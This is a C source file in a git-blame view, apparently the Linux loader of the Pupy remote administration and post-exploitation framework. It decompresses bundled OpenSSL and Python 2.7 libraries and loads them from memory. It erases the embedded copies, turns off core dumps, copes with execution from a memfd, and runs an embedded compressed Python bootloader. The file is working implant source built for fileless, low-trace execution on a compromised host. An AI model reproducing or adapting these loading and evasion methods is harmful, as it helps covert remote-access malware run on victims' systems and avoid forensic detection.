2016-08-22 22:53:26 +00:00
|
|
|
/*
|
|
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
|
|
*/
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <errno.h>
|
2016-08-22 22:53:26 +00:00
|
|
|
#include <stdlib.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
#include <limits.h>
|
|
|
|
#include <string.h>
|
|
|
|
#include <pthread.h>
|
|
|
|
#include <stdint.h>
|
2017-03-06 11:27:16 +00:00
|
|
|
#include <unistd.h>
|
2017-03-04 16:07:38 +00:00
|
|
|
#include <sys/mman.h>
|
2017-03-05 14:31:28 +00:00
|
|
|
#include <sys/resource.h>
|
2016-08-22 22:53:26 +00:00
|
|
|
#include "pupy_load.h"
|
|
|
|
#include "Python-dynload.h"
|
|
|
|
|
|
|
|
#include "_memimporter.h"
|
2017-03-02 16:58:54 +00:00
|
|
|
#include "tmplibrary.h"
|
2016-08-22 22:53:26 +00:00
|
|
|
#include "debug.h"
|
|
|
|
|
2016-11-29 16:53:39 +00:00
|
|
|
#include "resources_bootloader_pyc.c"
|
|
|
|
#include "resources_python27_so.c"
|
2017-03-02 16:58:54 +00:00
|
|
|
#include "resources_libssl_so.c"
|
|
|
|
#include "resources_libcrypto_so.c"
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
extern DL_EXPORT(void) init_memimporter(void);
|
|
|
|
extern DL_EXPORT(void) initpupy(void);
|
|
|
|
|
|
|
|
// Simple trick to get the current pupy arch
|
|
|
|
#ifdef __x86_64__
|
|
|
|
const uint32_t dwPupyArch = 64;
|
|
|
|
#else
|
|
|
|
const uint32_t dwPupyArch = 32;
|
|
|
|
#endif
|
|
|
|
|
2016-11-29 16:53:39 +00:00
|
|
|
#include "lzmaunpack.c"
|
|
|
|
|
2017-03-04 16:07:38 +00:00
|
|
|
static inline void* xz_dynload(const char *soname, const char *xzbuf, size_t xzsize) {
|
2017-03-02 16:58:54 +00:00
|
|
|
void *uncompressed = NULL;
|
|
|
|
size_t uncompressed_size = 0;
|
|
|
|
|
|
|
|
uncompressed = lzmaunpack(xzbuf, xzsize, &uncompressed_size);
|
|
|
|
|
|
|
|
if (!uncompressed) {
|
|
|
|
dprint("%s decompression failed\n", soname);
|
|
|
|
abort();
|
|
|
|
}
|
|
|
|
|
|
|
|
void *res = memdlopen(soname, (char *) uncompressed, uncompressed_size);
|
|
|
|
|
|
|
|
free(uncompressed);
|
|
|
|
|
|
|
|
if (!res) {
|
|
|
|
dprint("loading %s from memory failed\n", soname);
|
|
|
|
abort();
|
|
|
|
}
|
2017-03-04 16:07:38 +00:00
|
|
|
|
|
|
|
return res;
|
2017-03-02 16:58:54 +00:00
|
|
|
}
|
|
|
|
|
2016-08-24 06:49:14 +00:00
|
|
|
uint32_t mainThread(int argc, char *argv[], bool so) {
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
int rc = 0;
|
|
|
|
PyObject *m=NULL, *d=NULL, *seq=NULL;
|
|
|
|
PyObject *mod;
|
|
|
|
char * ppath;
|
|
|
|
FILE * f;
|
|
|
|
uintptr_t cookie = 0;
|
|
|
|
PyGILState_STATE restore_state;
|
|
|
|
|
2017-03-05 14:31:28 +00:00
|
|
|
struct rlimit lim;
|
|
|
|
if (getrlimit(RLIMIT_NOFILE, &lim) == 0) {
|
|
|
|
lim.rlim_cur = lim.rlim_max;
|
|
|
|
setrlimit(RLIMIT_NOFILE, &lim);
|
|
|
|
}
|
|
|
|
|
|
|
|
lim.rlim_cur = 0; lim.rlim_max = 0;
|
|
|
|
setrlimit(RLIMIT_CORE, &lim);
|
2016-11-29 16:53:39 +00:00
|
|
|
|
2017-03-04 16:07:38 +00:00
|
|
|
xz_dynload("libcrypto.so.1.0.0", resources_libcrypto_so_start, resources_libcrypto_so_size);
|
|
|
|
xz_dynload("libssl.so.1.0.0", resources_libssl_so_start, resources_libssl_so_size);
|
2016-11-29 16:53:39 +00:00
|
|
|
|
2017-03-04 16:07:38 +00:00
|
|
|
if(!Py_IsInitialized) {
|
|
|
|
_load_python(
|
|
|
|
xz_dynload("libpython2.7.so", resources_python27_so_start, resources_python27_so_size)
|
2016-11-29 16:53:39 +00:00
|
|
|
);
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-03-04 16:07:38 +00:00
|
|
|
munmap(resources_libcrypto_so_start, resources_libcrypto_so_size);
|
|
|
|
munmap(resources_libssl_so_start, resources_libssl_so_size);
|
|
|
|
munmap(resources_python27_so_start, resources_python27_so_size);
|
2017-03-02 16:58:54 +00:00
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
dprint("calling PyEval_InitThreads() ...\n");
|
|
|
|
PyEval_InitThreads();
|
|
|
|
dprint("PyEval_InitThreads() called\n");
|
|
|
|
|
2017-03-06 11:27:16 +00:00
|
|
|
char exe[PATH_MAX] = {};
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
if(!Py_IsInitialized()) {
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Py_IsInitialized\n");
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
Py_IgnoreEnvironmentFlag = 1;
|
|
|
|
Py_NoSiteFlag = 1; /* remove site.py auto import */
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("INVOCATION NAME: %s\n", program_invocation_name);
|
2017-03-06 11:27:16 +00:00
|
|
|
|
|
|
|
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) {
|
2017-03-07 21:22:25 +00:00
|
|
|
if (strstr(exe, "/memfd:")) {
|
|
|
|
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
|
|
|
|
}
|
|
|
|
|
2017-03-06 11:27:16 +00:00
|
|
|
Py_SetProgramName(exe);
|
|
|
|
}
|
2016-08-23 16:48:10 +00:00
|
|
|
|
|
|
|
dprint("Initializing python.. (%p)\n", Py_Initialize);
|
|
|
|
Py_InitializeEx(0);
|
|
|
|
|
|
|
|
dprint("SET ARGV\n");
|
|
|
|
if (argc > 0) {
|
2016-08-24 06:49:14 +00:00
|
|
|
if (so) {
|
|
|
|
if (argc > 2 && !strcmp(argv[1], "--pass-args")) {
|
|
|
|
argv[1] = argv[0];
|
|
|
|
PySys_SetArgvEx(argc - 1, argv + 1, 0);
|
|
|
|
} else {
|
|
|
|
PySys_SetArgvEx(1, argv, 0);
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
PySys_SetArgvEx(argc, argv, 0);
|
|
|
|
}
|
2016-08-23 16:48:10 +00:00
|
|
|
}
|
|
|
|
|
2017-03-06 11:27:16 +00:00
|
|
|
PySys_SetPath("");
|
2016-08-24 17:18:48 +00:00
|
|
|
#ifndef DEBUG
|
2016-08-22 22:53:26 +00:00
|
|
|
PySys_SetObject("frozen", PyBool_FromLong(1));
|
2016-08-24 17:18:48 +00:00
|
|
|
#endif
|
2017-03-06 11:27:16 +00:00
|
|
|
PySys_SetObject("executable", PyString_FromString(exe));
|
2016-08-23 16:48:10 +00:00
|
|
|
dprint("Py_Initialize() complete\n");
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|
|
|
|
restore_state=PyGILState_Ensure();
|
|
|
|
|
|
|
|
init_memimporter();
|
|
|
|
dprint("init_memimporter()\n");
|
|
|
|
initpupy();
|
|
|
|
dprint("initpupy()\n");
|
|
|
|
|
|
|
|
/* We execute then in the context of '__main__' */
|
|
|
|
dprint("starting evaluating python code ...\n");
|
|
|
|
m = PyImport_AddModule("__main__");
|
|
|
|
if (m) d = PyModule_GetDict(m);
|
2016-11-29 16:53:39 +00:00
|
|
|
if (d) seq = PyObject_lzmaunpack(
|
2016-08-22 22:53:26 +00:00
|
|
|
resources_bootloader_pyc_start,
|
|
|
|
resources_bootloader_pyc_size
|
|
|
|
);
|
|
|
|
|
2017-03-04 16:07:38 +00:00
|
|
|
munmap(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
|
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
if (seq) {
|
|
|
|
Py_ssize_t i, max = PySequence_Length(seq);
|
|
|
|
for (i=0;i<max;i++) {
|
|
|
|
dprint("LOAD SEQUENCE %d\n", i);
|
|
|
|
PyObject *sub = PySequence_GetItem(seq, i);
|
|
|
|
if (seq) {
|
|
|
|
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
|
|
|
|
if (!discard) {
|
|
|
|
dprint("discard\n");
|
|
|
|
PyErr_Print();
|
|
|
|
rc = 255;
|
|
|
|
}
|
|
|
|
Py_XDECREF(discard);
|
|
|
|
/* keep going even if we fail */
|
|
|
|
}
|
|
|
|
Py_XDECREF(sub);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
dprint("complete ...\n");
|
|
|
|
PyGILState_Release(restore_state);
|
|
|
|
Py_Finalize();
|
|
|
|
dprint("exit ...\n");
|
|
|
|
return 0;
|
|
|
|
}
|